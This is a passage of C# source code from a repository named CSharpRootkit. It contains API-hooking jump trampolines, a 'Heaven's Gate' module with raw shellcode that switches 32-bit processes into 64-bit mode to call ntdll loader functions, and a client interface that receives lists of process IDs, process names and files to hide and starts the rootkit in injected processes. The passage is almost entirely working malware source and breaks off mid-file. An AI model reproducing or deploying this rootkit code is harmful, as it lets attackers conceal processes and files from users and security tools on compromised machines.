| return jmpBytes; 380 | } 381 | private byte[] CreateJumpx86(IntPtr target, IntPtr source) 382 | { 383 | int offset = target.ToInt32() - source.ToInt32() - X86ByteCodeLength; 384 | byte[] jmpBytes = new byte[X86ByteCodeLength]; 385 | jmpBytes[0] = 0xE9; // JMP opcode 386 | BitConverter.GetBytes(offset).CopyTo(jmpBytes, 1); 387 | return jmpBytes; 388 | } 389 | private static IntPtr SpecialAllocate2GBRange(IntPtr address, uint dwSize) 390 | { 391 | if (allocationGranularity == 0) 392 | { 393 | SYSTEM_INFO si; 394 | NativeMethods.GetSystemInfo(out si); 395 | allocationGranularity = si.allocationGranularity; 396 | } 397 | 398 | ulong add = allocationGranularity - 1; 399 | ulong mask = ~add; 400 | //0x80000000 = 2^31 401 | ulong min = 0; 402 | ulong max = ulong.MaxValue; 403 | if ((ulong)address >= 0x80000000) 404 | { 405 | min = ((ulong)address - 0x80000000 + add) & mask; 406 | } 407 | if ((ulong)address < (ulong.MaxValue - 0x80000000)) 408 | { 409 | max = ((ulong)address + 0x80000000) & mask; 410 | } 411 | 412 | do 413 | { 414 | if (NativeMethods.VirtualQuery((IntPtr)min, out MEMORY_BASIC_INFORMATION mbi, (uint)Marshal.SizeOf(typeof(MEMORY_BASIC_INFORMATION))) == 0) 415 | return IntPtr.Zero; 416 | 417 | min = (ulong)mbi.BaseAddress + (ulong)mbi.RegionSize; 418 | 419 | if (mbi.State == MEM_FREE) 420 | { 421 | ulong addr = ((ulong)mbi.BaseAddress + add) & mask; 422 | 423 | if (addr < min && dwSize <= (min - addr)) 424 | { 425 | IntPtr allocatedAddr = NativeMethods.VirtualAlloc((IntPtr)addr, (UIntPtr)dwSize, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); 426 | if (allocatedAddr != IntPtr.Zero) 427 | return allocatedAddr; 428 | } 429 | } 430 | } while (min < max); 431 | 432 | return IntPtr.Zero; 433 | } 434 | private static bool FreeSpeciallyAllocatedData(IntPtr address) 435 | { 436 | return NativeMethods.VirtualFree(address, UIntPtr.Zero, MEM_RELEASE); 437 | } 438 | } 439 | } -------------------------------------------------------------------------------- /CSharpRootkit/HeavensGate/HeavensGate.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.Linq; 4 | using System.Runtime.InteropServices; 5 | using System.Text; 6 | using System.Threading.Tasks; 7 | 8 | namespace CSharpRootkit 9 | { 10 | public static class HeavensGate 11 | { 12 | static HeavensGate() 13 | { 14 | if (Environment.Is64BitProcess) 15 | { 16 | return; 17 | } 18 | CurrentProcessDuplicateHandle = NativeMethods.GetCurrentProcess(); 19 | if (!NativeMethods.DuplicateHandle(CurrentProcessDuplicateHandle, CurrentProcessDuplicateHandle, CurrentProcessDuplicateHandle, ref CurrentProcessDuplicateHandle, 0, false, 2)) 20 | { 21 | return; 22 | } 23 | ntdll64 = Utils64.GetRemoteModuleHandle64Bit(CurrentProcessDuplicateHandle, "ntdll.dll"); 24 | if (ntdll64 == 0) 25 | { 26 | return; 27 | } 28 | LdrLoadDll = Utils64.GetRemoteProcAddress64Bit(CurrentProcessDuplicateHandle, ntdll64, "LdrLoadDll"); 29 | if (LdrLoadDll == 0) 30 | { 31 | return; 32 | } 33 | LdrUnloadDll = Utils64.GetRemoteProcAddress64Bit(CurrentProcessDuplicateHandle, ntdll64, "LdrUnloadDll"); 34 | if (LdrLoadDll == 0) 35 | { 36 | return; 37 | } 38 | LdrGetDllHandle = Utils64.GetRemoteProcAddress64Bit(CurrentProcessDuplicateHandle, ntdll64, "LdrGetDllHandle"); 39 | if (LdrGetDllHandle == 0) 40 | { 41 | return; 42 | } 43 | LdrGetProcedureAddress = Utils64.GetRemoteProcAddress64Bit(CurrentProcessDuplicateHandle, ntdll64, "LdrGetProcedureAddress"); 44 | if (LdrGetProcedureAddress == 0) 45 | { 46 | return; 47 | } 48 | operational = true; 49 | } 50 | 51 | public static bool operational = false; 52 | 53 | private static ulong LdrLoadDll; 54 | private static ulong LdrUnloadDll; 55 | private static ulong LdrGetDllHandle; 56 | private static ulong LdrGetProcedureAddress; 57 | private static IntPtr CurrentProcessDuplicateHandle; 58 | 59 | 60 | private static ulong ntdll64; 61 | private static ulong Kernel3264 = 0; 62 | 63 | 64 | private delegate ulong Wow64Execution(IntPtr func, IntPtr parameters); 65 | 66 | private static uint PAGE_EXECUTE_READWRITE = 0x40; 67 | 68 | private static byte[] Wow64ExecuteShellCode = { 69 | //BITS32 70 | 0x55, //push ebp 71 | 0x89, 0xe5, //mov ebp, esp 72 | 0x56, //push esi 73 | 0x57, //push edi 74 | 0x8b, 0x75, 0x08, //mov esi, dword ptr ss:[ebp + 0x8] 75 | 0x8b, 0x4d, 0x0c, //mov ecx, dword ptr ss:[ebp + 0xC] 76 | 0xe8, 0x00, 0x00, 0x00, 0x00, //call $0 77 | 0x58, //pop eax 78 | 0x83, 0xc0, 0x2a, //add eax, 0x2A 79 | 0x83, 0xec, 0x08, //sub esp, 0x8 80 | 0x89, 0xe2, //mov edx, esp 81 | 0xc7, 0x42, 0x04, 0x33, 0x00, 0x00, 0x00, //mov dword ptr ds:[edx + 0x4], 0x33 82 | 0x89, 0x02, //mov dword ptr ds:[edx], eax 83 | 0xe8, 0x0e, 0x00, 0x00, 0x00, //call SwitchTo64 84 | 0x66, 0x8c, 0xd9, //mov cx, ds 85 | 0x8e, 0xd1, //mov ss, cx 86 | 0x83, 0xc4, 0x14, //add esp, 0x14 87 | 0x5f, //pop edi 88 | 0x5e, //pop esi 89 | 0x5d, //pop ebp 90 | 0xc2, 0x08, 0x00, //ret 0x8 91 | 92 | //SwitchTo64: 93 | 0x8b, 0x3c, 0x24, //mov edi, dword ptr ss:[esp] 94 | 0xff, 0x2a, //jmp far fword ptr ds:[edx] 95 | 96 | 97 | //BITS64 98 | 0x48, 0x31, 0xc0, //xor rax, rax 99 | 0x57, //push rdi 100 | 0xff, 0xd6, //call rsi 101 | 0x5f, //pop rdi 102 | 0x50, //push rax 103 | 0xc7, 0x44, 0x24, 0x04, 0x23, 0x00, 0x00, 0x00,//mov dword ptr ss:[rsp + 0x4], 0x23 104 | 0x89, 0x3c, 0x24, //mov dword ptr ss:[rsp], edi 105 | 0x48, 0x89, 0xC2, //mov rdx, rax 106 | 0x21, 0xC0, //and eax, eax 107 | 0x48, 0xC1, 0xEA, 0x20, //shr rdx, 0x20 108 | 0xff, 0x2c, 0x24, //jmp far fword ptr ss:[rsp] 109 | }; 110 | 111 | 112 | private static IntPtr UlongParamsToIntPtr(ulong[] parameters) 113 | { 114 | IntPtr ParamPtr = Marshal.AllocHGlobal(parameters.Length * sizeof(ulong)); 115 | for (int i = 0; i < parameters.Length; i++) 116 | { 117 | byte[] ulongBytes = BitConverter.GetBytes(parameters[i]); 118 | Marshal.Copy(ulongBytes, 0, ParamPtr + (i * sizeof(ulong)), ulongBytes.Length); 119 | } 120 | return ParamPtr; 121 | } 122 | 123 | 124 | 125 | private static ulong DispatchX64Call(byte[] code, ulong[] parameters) 126 | { 127 | ulong result = ulong.MaxValue; 128 | if (code == null || code.Length == 0) 129 | { 130 | return result; 131 | } 132 | 133 | int ShellCodeLength = Wow64ExecuteShellCode.Length + code.Length; 134 | 135 | IntPtr pExecutableCode = Marshal.AllocHGlobal(ShellCodeLength); 136 | 137 | Marshal.Copy(Wow64ExecuteShellCode, 0, pExecutableCode, Wow64ExecuteShellCode.Length); 138 | Marshal.Copy(code, 0, pExecutableCode + Wow64ExecuteShellCode.Length, code.Length); 139 | 140 | bool Worked = NativeMethods.VirtualProtect(pExecutableCode, (UIntPtr)ShellCodeLength, PAGE_EXECUTE_READWRITE, out uint OldProtectValue); 141 | 142 | if (!Worked) 143 | { 144 | throw new Exception("Couldnt set the shellcode memory as PAGE_EXECUTE_READWRITE!"); 145 | } 146 | 147 | Wow64Execution exec = Marshal.GetDelegateForFunctionPointer(pExecutableCode); 148 | 149 | IntPtr paramPtr = IntPtr.Zero; 150 | if (parameters != null && parameters.Length > 0) 151 | { 152 | paramPtr = UlongParamsToIntPtr(parameters); 153 | } 154 | 155 | result = exec(pExecutableCode + Wow64ExecuteShellCode.Length, paramPtr); 156 | 157 | Marshal.FreeHGlobal(pExecutableCode); 158 | 159 | if (paramPtr != IntPtr.Zero) 160 | { 161 | Marshal.FreeHGlobal(paramPtr); 162 | } 163 | 164 | return result; 165 | } 166 | 167 | public static ulong Execute64(ulong Function, params ulong[] pFunctionParameters) 168 | { 169 | if (!operational) 170 | { 171 | throw new Exception("HeavensGate did not start up properly or is on a x64 process"); 172 | } 173 | int dwParameters = pFunctionParameters.Length; 174 | 175 | //BITS 64 176 | byte[] prologue = { 177 | 0xFC, //cld 178 | 0x48, 0x89, 0xCE, //mov rsi, rcx 179 | 0x48, 0x89, 0xE7, //mov rdi, rsp 180 | 0x48, 0x83, 0xEC, 0x10, //sub rsp, 0x10 181 | 0x40, 0x80, 0xE4, 0x00, //and spl, 0x0 182 | }; 183 | 184 | //BITS 64 185 | byte[] epilogue = { 186 | 0x31, 0xC0, //xor eax, eax 187 | 0x49, 0xBA, 0xF1, 0xFF, 0xFF, 0xFF, 0x00, 0x00, 0x00, 0x00, //mov r10, FunctionAddress 188 | 0x41, 0xFF, 0xD2, //call r10 189 | 0x48, 0x89, 0xFC, //mov rsp, rdi 190 | 0xC3 //ret 191 | }; 192 | 193 | List code = new List(prologue); 194 | 195 | if (dwParameters < 4) 196 | { 197 | int c = dwParameters < 4 ? dwParameters : 4; 198 | for (int i = 0; i < c; ++i) 199 | { 200 | switch (i) 201 | { 202 | case 0: 203 | //mov rcx, qword ptr ds:[rsi] 204 | code.AddRange(new byte[] { 0x48, 0x8B, 0x0E }); 205 | break; 206 | case 1: 207 | //mov rdx, qword ptr ds:[rsi + 0x8] 208 | code.AddRange(new byte[] { 0x48, 0x8B, 0x56, 0x08 }); 209 | break; 210 | case 2: 211 | //mov r8, qword ptr ds:[rsi + 0x10] 212 | code.AddRange(new byte[] { 0x4C, 0x8B, 0x46, 0x10 }); 213 | break; 214 | case 3: 215 | //mov r9, qword ptr ds:[rsi + 0x18] 216 | code.AddRange(new byte[] { 0x4C, 0x8B, 0x4E, 0x18 }); 217 | break; 218 | } 219 | } 220 | } 221 | else 222 | { 223 | //all the switch statements combined 224 | code.AddRange(new byte[] { 0x48, 0x8B, 0x0E, 0x48, 0x8B, 0x56, 0x08, 0x4C, 0x8B, 0x46, 0x10, 0x4C, 0x8B, 0x4E, 0x18 }); 225 | if ((dwParameters % 2) != 0) 226 | { 227 | // push 0x0 228 | code.AddRange(new byte[] { 0x6A, 0x00 }); 229 | } 230 | byte[] code_buffer1 = new byte[] { 0x48, 0x8B, 0x46, 0x20, 0x50 }; 231 | byte[] code_buffer2 = new byte[] { 0x48, 0x8B, 0x86, 0x80, 0x00, 0x00, 0x00, 0x50 }; 232 | 233 | if (dwParameters * 8 >= 0x7fffffff) 234 | { 235 | return ulong.MaxValue; 236 | } 237 | 238 | for (int i = dwParameters - 1; i >= 4; --i) 239 | { 240 | if (i * 8 < 0x7f) 241 | { 242 | code_buffer1[3] = (byte)(i * 8); 243 | code.AddRange(code_buffer1); 244 | } 245 | else 246 | { 247 | BitConverter.GetBytes(i * 8).CopyTo(code_buffer2, 3); 248 | code.AddRange(code_buffer2); 249 | } 250 | } 251 | 252 | } 253 | 254 | code.AddRange(new byte[] { 0x48, 0x83, 0xEC, 0x20 }); 255 | 256 | BitConverter.GetBytes(Function).CopyTo(epilogue, 4); 257 | code.AddRange(epilogue); 258 | 259 | return DispatchX64Call(code.ToArray(), pFunctionParameters); 260 | } 261 | 262 | private static ulong GetProcessParameters() 263 | { 264 | InternalStructs64.PROCESS_BASIC_INFORMATION64 PBI = new InternalStructs64.PROCESS_BASIC_INFORMATION64(); 265 | uint PBI_size = (uint)Marshal.SizeOf(PBI); 266 | uint NTread_out = 0; 267 | if (SpecialNativeMethods.NtQueryPBI64From32(CurrentProcessDuplicateHandle, InternalStructs.PROCESSINFOCLASS.ProcessBasicInformation, ref PBI, PBI_size, ref NTread_out) != 0 || PBI.PebBaseAddress == 0) 268 | { 269 | throw new Exception("couldnt read PBI from process!"); 270 | } 271 | ulong processParameters = GetProcessParameters64(PBI.PebBaseAddress); 272 | 273 | IntPtr ProcessParametersBuffer = Marshal.AllocHGlobal(Marshal.SizeOf(typeof(ulong))); 274 | ulong len = 0; 275 | int ReadVirtualMemoryStatus = SpecialNativeMethods.ReadProcessMemory64From32( 276 | CurrentProcessDuplicateHandle, 277 | processParameters, 278 | ProcessParametersBuffer, 279 | (ulong)Marshal.SizeOf(typeof(InternalStructs.ULONGRESULT)), 280 | ref len 281 | ); 282 | if (ReadVirtualMemoryStatus != 0) 283 | { 284 | Marshal.FreeHGlobal(ProcessParametersBuffer); 285 | throw new Exception("Couldnt read the processParameters"); 286 | } 287 | processParameters = Marshal.PtrToStructure(ProcessParametersBuffer).Value; 288 | Marshal.FreeHGlobal(ProcessParametersBuffer); 289 | return processParameters; 290 | 291 | } 292 | 293 | private static ulong GetProcessParameters64(ulong addr) 294 | { 295 | return addr + 0x20; 296 | } 297 | 298 | private static InternalStructs64.RTL_USER_PROCESS_PARAMETERS64 GetRTLParams() 299 | { 300 | ulong processParameters = GetProcessParameters(); 301 | 302 | int RTL_PARAMS_SIZE = Marshal.SizeOf(typeof(InternalStructs64.RTL_USER_PROCESS_PARAMETERS64)); 303 | IntPtr RTL_PARAMS_PTR = Marshal.AllocHGlobal(RTL_PARAMS_SIZE); 304 | ulong len = 0; 305 | int ReadVirtualMemoryStatus = SpecialNativeMethods.ReadProcessMemory64From32( 306 | CurrentProcessDuplicateHandle, 307 | processParameters, 308 | RTL_PARAMS_PTR, 309 | (ulong)RTL_PARAMS_SIZE, 310 | ref len 311 | ); 312 | if (ReadVirtualMemoryStatus != 0) 313 | { 314 | Marshal.FreeHGlobal(RTL_PARAMS_PTR); 315 | throw new Exception("Couldnt read the RTL_USER_PROCESS_PARAMETERS"); 316 | } 317 | 318 | InternalStructs64.RTL_USER_PROCESS_PARAMETERS64 RTL_PARAMS = Marshal.PtrToStructure(RTL_PARAMS_PTR); 319 | Marshal.FreeHGlobal(RTL_PARAMS_PTR); 320 | return RTL_PARAMS; 321 | } 322 | 323 | private static void WriteRTLParams(InternalStructs64.RTL_USER_PROCESS_PARAMETERS64 RTL_PARAMS) 324 | { 325 | ulong processParameters = GetProcessParameters(); 326 | 327 | int RTL_PARAMS_SIZE = Marshal.SizeOf(typeof(InternalStructs64.RTL_USER_PROCESS_PARAMETERS64)); 328 | IntPtr RTL_PARAMS_PTR = Marshal.AllocHGlobal(RTL_PARAMS_SIZE); 329 | Marshal.StructureToPtr(RTL_PARAMS, RTL_PARAMS_PTR, false); 330 | ulong len = 0; 331 | int WriteVirtualMemoryStatus = SpecialNativeMethods.WriteProcessMemory64From32(CurrentProcessDuplicateHandle, processParameters, RTL_PARAMS_PTR, (ulong)RTL_PARAMS_SIZE, ref len); 332 | Marshal.FreeHGlobal(RTL_PARAMS_PTR); 333 | if (WriteVirtualMemoryStatus != 0) 334 | { 335 | throw new Exception("Couldnt write the RTL_USER_PROCESS_PARAMETERS"); 336 | } 337 | } 338 | 339 | private static Tuple CaptureConsoleHandles64() 340 | { 341 | InternalStructs64.RTL_USER_PROCESS_PARAMETERS64 RTL_PARAMS = GetRTLParams(); 342 | 343 | ulong[] handles = new ulong[] { RTL_PARAMS.ConsoleHandle, RTL_PARAMS.StandardInput, RTL_PARAMS.StandardOutput, RTL_PARAMS.StandardError }; 344 | uint[] flags = new uint[] { RTL_PARAMS.WindowFlags, RTL_PARAMS.ConsoleFlags }; 345 | 346 | return new Tuple(handles, flags); 347 | 348 | } 349 | 350 | private static void WriteConsoleHandles64(ulong ConsoleHandle, ulong StandardInput, ulong StandardOutput, ulong StandardError, uint WindowFlags, uint ConsoleFlags) 351 | { 352 | 353 | 354 | ulong processParameters = GetProcessParameters(); 355 | 356 | InternalStructs64.RTL_USER_PROCESS_PARAMETERS64 RTL_PARAMS = GetRTLParams(); 357 | RTL_PARAMS.ConsoleHandle = ConsoleHandle; 358 | RTL_PARAMS.StandardInput = StandardInput; 359 | RTL_PARAMS.StandardOutput = StandardOutput; 360 | RTL_PARAMS.StandardError = StandardError; 361 | RTL_PARAMS.WindowFlags = WindowFlags; 362 | RTL_PARAMS.ConsoleFlags = ConsoleFlags; 363 | 364 | 365 | WriteRTLParams(RTL_PARAMS); 366 | } 367 | 368 | private static void WriteConsoleHandles64(ulong[] handle, uint[] flags) 369 | { 370 | if (handle.Length != 4 || flags.Length != 2) 371 | { 372 | throw new Exception("invalid arguments, there must be 4 handles and 2 flags!"); 373 | } 374 | WriteConsoleHandles64(handle[0], handle[1], handle[2], handle[3], flags[0], flags[1]); 375 | } 376 | public static ulong LoadKernel32() 377 | { 378 | if (!operational) 379 | { 380 | throw new Exception("HeavensGate did not start up properly or is on a x64 process"); 381 | } 382 | if (Kernel3264 != 0) 383 | { 384 | return Kernel3264; 385 | } 386 | 387 | IntPtr NtHeaderAddr = (IntPtr)Utils32.GetNtHeader32Addr(CurrentProcessDuplicateHandle, (uint)NativeMethods.GetModuleHandleW(null)); 388 | 389 | InternalStructs32.IMAGE_NT_HEADERS32 NtHeader = Marshal.PtrToStructure(NtHeaderAddr); 390 | 391 | IntPtr subSystemAddress = (IntPtr)((uint)NtHeaderAddr + (uint)Marshal.OffsetOf(typeof(InternalStructs32.IMAGE_NT_HEADERS32), "OptionalHeader") + (uint)Marshal.OffsetOf(typeof(InternalStructs32.IMAGE_OPTIONAL_HEADER32), "Subsystem")); 392 | 393 | uint PAGE_READWRITE = 0x04; 394 | ushort IMAGE_SUBSYSTEM_WINDOWS_CUI = 3; 395 | ushort IMAGE_SUBSYSTEM_WINDOWS_GUI = 2; 396 | 397 | if (NtHeader.OptionalHeader.Subsystem == IMAGE_SUBSYSTEM_WINDOWS_CUI) 398 | { 399 | if (NativeMethods.VirtualProtect(subSystemAddress, (UIntPtr)Marshal.SizeOf(typeof(ushort)), PAGE_READWRITE, out uint oldProtect)) 400 | { 401 | Tuple HandlesAndFlags = CaptureConsoleHandles64(); 402 | WriteConsoleHandles64(0, 0, 0, 0, 0, 0); 403 | Marshal.WriteInt16(subSystemAddress, (short)IMAGE_SUBSYSTEM_WINDOWS_GUI); 404 | Kernel3264 = LoadLibrary64("kernel32.dll"); 405 | WriteConsoleHandles64(HandlesAndFlags.Item1, HandlesAndFlags.Item2); 406 | Marshal.WriteInt16(subSystemAddress, (short)IMAGE_SUBSYSTEM_WINDOWS_CUI); 407 | NativeMethods.VirtualProtect(subSystemAddress, (UIntPtr)Marshal.SizeOf(typeof(ushort)), oldProtect, out oldProtect); 408 | } 409 | } 410 | else 411 | { 412 | Kernel3264 = LoadLibrary64("kernel32.dll"); 413 | } 414 | 415 | return Kernel3264; 416 | } 417 | 418 | public static ulong GetModuleHandle64(string ModuleName) 419 | { 420 | if (!operational) 421 | { 422 | throw new Exception("HeavensGate did not start up properly or is on a x64 process"); 423 | } 424 | return Utils64.GetRemoteModuleHandle64Bit(CurrentProcessDuplicateHandle, ModuleName); 425 | } 426 | 427 | public static ulong LoadLibrary64(string LibraryName) 428 | { 429 | if (!operational) 430 | { 431 | throw new Exception("HeavensGate did not start up properly or is on a x64 process"); 432 | } 433 | InternalStructs64.UNICODE_STRING64 uniStr64 = new InternalStructs64.UNICODE_STRING64(); 434 | 435 | uniStr64.Buffer = (ulong)Marshal.StringToHGlobalUni(LibraryName); 436 | uniStr64.Length = (ushort)(LibraryName.Length * 2); // multiplied by 2 for 2 bytes per char as per unicode 437 | uniStr64.MaximumLength = (ushort)((LibraryName.Length + 1) * 2);//fullsize with nullbyte, multiplied by 2 for 2 bytes per char as per unicode 438 | 439 | IntPtr uniStr64Ptr = Marshal.AllocHGlobal(Marshal.SizeOf(uniStr64)); 440 | 441 | Marshal.StructureToPtr(uniStr64, uniStr64Ptr, false); 442 | 443 | IntPtr modulePtr = Marshal.AllocHGlobal(Marshal.SizeOf(typeof(InternalStructs.ULONGRESULT))); 444 | 445 | ulong result = Execute64(LdrLoadDll, 0, 0, (ulong)uniStr64Ptr, (ulong)modulePtr); 446 | 447 | ulong ModuleHandle = Marshal.PtrToStructure(modulePtr).Value; 448 | 449 | Marshal.FreeHGlobal((IntPtr)uniStr64.Buffer); 450 | Marshal.FreeHGlobal(modulePtr); 451 | Marshal.FreeHGlobal(uniStr64Ptr); 452 | if (result != 0) 453 | { 454 | return 0; 455 | } 456 | return ModuleHandle; 457 | } 458 | 459 | public static bool FreeLibrary64(ulong ModuleHandle) 460 | { 461 | return Execute64(LdrUnloadDll, ModuleHandle) == 0; 462 | } 463 | 464 | public static ulong GetProcAddress64(ulong ModuleHandle, string FunctionName) 465 | { 466 | if (!operational) 467 | { 468 | throw new Exception("HeavensGate did not start up properly or is on a x64 process"); 469 | } 470 | return Utils64.GetRemoteProcAddress64Bit(CurrentProcessDuplicateHandle, ModuleHandle, FunctionName); 471 | } 472 | 473 | } 474 | } 475 | -------------------------------------------------------------------------------- /CSharpRootkit/IPC/RootKitClientInterface.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.Diagnostics; 4 | using System.IO; 5 | using System.IO.MemoryMappedFiles; 6 | using System.IO.Pipes; 7 | using System.Linq; 8 | using System.Runtime.InteropServices; 9 | using System.Security.AccessControl; 10 | using System.Security.Principal; 11 | using System.Text; 12 | using System.Threading; 13 | using System.Threading.Tasks; 14 | 15 | namespace CSharpRootkit 16 | { 17 | public static class RootKitClientInterface 18 | { 19 | public static bool started = false; 20 | 21 | private static string RootKitMemFileName; 22 | 23 | private static MemoryMappedFile MemoryFile; 24 | private static MemoryMappedViewAccessor MemoryFileModifier; 25 | 26 | private static Thread UpdaterThread; 27 | 28 | private static bool NeedsUpdate = true; 29 | 30 | private static List InjectProcessNameInclusionExclusionList = new List(); 31 | private static List InjectProcessPathInclusionExclusionList = new List(); 32 | 33 | private static long OneMb = 1 * 1024 * 1024;//1mb 34 | 35 | private static long MemoryMappedFileSize = OneMb * 5; // 5mb 36 | 37 | private static long ControllerKeyRegionStart = 0; 38 | private static long ControllerKeyRegionEnd = ControllerKeyRegionStart + sizeof(int); 39 | 40 | private static long RootKitStartedRegionStart = ControllerKeyRegionEnd; 41 | private static long RootKitStartedRegionEnd = RootKitStartedRegionStart + sizeof(bool); 42 | 43 | private static long IsInclusionModeRegionStart = RootKitStartedRegionEnd; 44 | private static long IsInclusionModeRegionEnd = IsInclusionModeRegionStart + sizeof(bool); 45 | 46 | private static long HideInfoRegionStart = IsInclusionModeRegionEnd; 47 | private static long HideInfoRegionEnd = HideInfoRegionStart + OneMb;//+1mb 48 | 49 | private static long InclusionExclusionInfoRegionStart = HideInfoRegionEnd; 50 | private static long InclusionExclusionInfoRegionEnd = InclusionExclusionInfoRegionStart + OneMb;//+1mb 51 | 52 | private static long ServerCommandsRegionStart = InclusionExclusionInfoRegionEnd; 53 | private static long ServerCommandsRegionEnd = ServerCommandsRegionStart + OneMb;//+1mb 54 | 55 | private static long ClientCommandsRegionStart = ServerCommandsRegionEnd; 56 | private static long ClientCommandsRegionEnd = ClientCommandsRegionStart + OneMb;//+1mb 57 | 58 | private static string ServerCommandRegionMutex; 59 | private static string ClientCommandRegionMutex; 60 | 61 | private static MutexSecurity MutexSecuritySettings; 62 | 63 | static RootKitClientInterface() 64 | { 65 | MutexSecuritySettings = new MutexSecurity(); 66 | 67 | // Allow everyone to use the mutex 68 | MutexAccessRule securityRule = new MutexAccessRule( 69 | new SecurityIdentifier(WellKnownSidType.WorldSid, null), 70 | MutexRights.FullControl, 71 | AccessControlType.Allow); 72 | 73 | MutexSecuritySettings.AddAccessRule(securityRule); 74 | } 75 | 76 | public static void Start(string MemFileName = "RootKitMemFile") 77 | { 78 | if (started) 79 | { 80 | throw new Exception("The interface is already started!"); 81 | } 82 | RootKitMemFileName = MemFileName; 83 | ServerCommandRegionMutex = RootKitMemFileName + "ServerCommandRegion"; 84 | ClientCommandRegionMutex = RootKitMemFileName + "ClientCommandRegion"; 85 | UpdaterThread = new Thread(UpdaterLoop); 86 | UpdaterThread.Start(); 87 | started = true; 88 | } 89 | 90 | public static void Stop() 91 | { 92 | if (!started) 93 | { 94 | return;//throw new Exception("The interface is not started!"); 95 | } 96 | 97 | if (RootKit.Started) 98 | { 99 | try 100 | { 101 | RootKit.Stop(); 102 | } 103 | catch { } 104 | } 105 | 106 | MemoryFileModifier?.Dispose(); 107 | MemoryFile?.Dispose(); 108 | 109 | started = false; 110 | 111 | //try 112 | //{ 113 | // UpdaterThread.Abort(); 114 | //} 115 | //catch { } 116 | } 117 | 118 | private static void UpdaterLoop() //if error in the file update, it causes entire thing to stop. 119 | { 120 | int MaxErrorCount = 10; 121 | int errorCount = 0; 122 | while (true) 123 | { 124 | try 125 | { 126 | if (Utils.OpenMemoryMappedFile(RootKitMemFileName, out MemoryFile)) 127 | { 128 | MemoryFileModifier = MemoryFile.CreateViewAccessor(0, MemoryMappedFileSize, MemoryMappedFileAccess.ReadWrite); 129 | errorCount = 0; 130 | ProcessMemoryFileUpdates(); 131 | } 132 | } 133 | catch 134 | { 135 | errorCount++; 136 | if (errorCount >= MaxErrorCount) 137 | { 138 | Stop(); 139 | break; 140 | } 141 | 142 | } 143 | Thread.Sleep(1000); 144 | } 145 | } 146 | 147 | private static void ProcessMemoryFileUpdates() 148 | { 149 | byte[] HiddenDataBuffer = new byte[HideInfoRegionEnd - HideInfoRegionStart]; 150 | byte[] InclusionExclusionDataBuffer = new byte[InclusionExclusionInfoRegionEnd - InclusionExclusionInfoRegionStart]; 151 | while (started) 152 | { 153 | MemoryFileModifier.ReadArray(InclusionExclusionInfoRegionStart, InclusionExclusionDataBuffer, 0, InclusionExclusionDataBuffer.Length); 154 | GetInclusionExclusionData(InclusionExclusionDataBuffer, out string[] inExprocessNames, out string[] inExfilePaths); 155 | 156 | if (!InjectProcessNameInclusionExclusionList.SequenceEqual(inExprocessNames)) 157 | { 158 | InjectProcessNameInclusionExclusionList.Clear(); 159 | InjectProcessNameInclusionExclusionList.AddRange(inExprocessNames); 160 | } 161 | 162 | if (!InjectProcessPathInclusionExclusionList.SequenceEqual(inExfilePaths)) 163 | { 164 | InjectProcessPathInclusionExclusionList.Clear(); 165 | InjectProcessPathInclusionExclusionList.AddRange(inExfilePaths); 166 | } 167 | 168 | 169 | if (GetRootKitStatus() && !IsAgainstInclusionExclusionRules(NativeMethods.GetCurrentProcess()))// && make sure that its not excluded/not included/etc 170 | { 171 | if (!RootKit.Started) 172 | { 173 | RootKit.Start(); 174 | } 175 | MemoryFileModifier.ReadArray(HideInfoRegionStart, HiddenDataBuffer, 0, HiddenDataBuffer.Length); 176 | GetHiddenData(HiddenDataBuffer, out int[] pids, out string[] processNames, out string[] filePaths, out string[] fileNames); 177 | RootKit.setup(pids, processNames, filePaths, fileNames); 178 | //update the rootkit. 179 | 180 | 181 | 182 | } 183 | else 184 | { 185 | if (RootKit.Started) 186 | { 187 | RootKit.Stop(); 188 | } 189 | } 190 | 191 | //process the commands here 192 | 193 | Thread.Sleep(1000); 194 | } 195 | } 196 | 197 | private static void GetHiddenData(byte[] data, out int[] pids, out string[] processNames, out string[] filePaths, out string[] fileNames) 198 | { 199 | int offset = 0; 200 | 201 | // Deserialize pids 202 | int pidsLength = BitConverter.ToInt32(data, offset); 203 | offset += 4; 204 | pids = new int[pidsLength]; 205 | for (int i = 0; i < pidsLength; i++) 206 | { 207 | pids[i] = BitConverter.ToInt32(data, offset); 208 | offset += 4; 209 | } 210 | 211 | // Deserialize processNames 212 | int processNamesLength = BitConverter.ToInt32(data, offset); 213 | offset += 4; 214 | processNames = new string[processNamesLength]; 215 | for (int i = 0; i < processNamesLength; i++) 216 | { 217 | int nameLength = BitConverter.ToInt32(data, offset); 218 | offset += 4; 219 | processNames[i] = Encoding.Unicode.GetString(data, offset, nameLength); 220 | offset += nameLength; 221 | } 222 | 223 | // Deserialize filePaths 224 | int filePathsLength = BitConverter.ToInt32(data, offset); 225 | offset += 4; 226 | filePaths = new string[filePathsLength]; 227 | for (int i = 0; i < filePathsLength; i++) 228 | { 229 | int pathLength = BitConverter.ToInt32(data, offset); 230 | offset += 4; 231 | filePaths[i] = Encoding.Unicode.GetString(data, offset, pathLength); 232 | offset += pathLength; 233 | } 234 | 235 | // Deserialize fileNames 236 | int fileNamesLength = BitConverter.ToInt32(data, offset); 237 | offset += 4; 238 | fileNames = new string[fileNamesLength]; 239 | for (int i = 0; i < fileNamesLength; i++) 240 | { 241 | int nameLength = BitConverter.ToInt32(data, offset); 242 | offset += 4; 243 | fileNames[i] = Encoding.Unicode.GetString(data, offset, nameLength); 244 | offset += nameLength; 245 | } 246 | } 247 | 248 | private static void GetInclusionExclusionData(byte[] data, out string[] ProcessNames, out string[] FilePaths) 249 | { 250 | int offset = 0; 251 | int processNamesLength = BitConverter.ToInt32(data, offset); 252 | offset += 4; 253 | ProcessNames = new string[processNamesLength]; 254 | 255 | for (int i = 0; i < processNamesLength; i++) 256 | { 257 | int nameLength = BitConverter.ToInt32(data, offset); 258 | offset += 4; 259 | ProcessNames[i] = Encoding.Unicode.GetString(data, offset, nameLength); 260 | offset += nameLength; 261 | } 262 | 263 | int filePathsLength = BitConverter.ToInt32(data, offset); 264 | offset += 4; 265 | FilePaths = new string[filePathsLength]; 266 | for (int i = 0; i < filePathsLength; i++) 267 | { 268 | int pathLength = BitConverter.ToInt32(data, offset); 269 | offset += 4; 270 | FilePaths[i] = Encoding.Unicode.GetString(data, offset, pathLength); 271 | offset += pathLength; 272 | } 273 | } 274 | 275 | private static 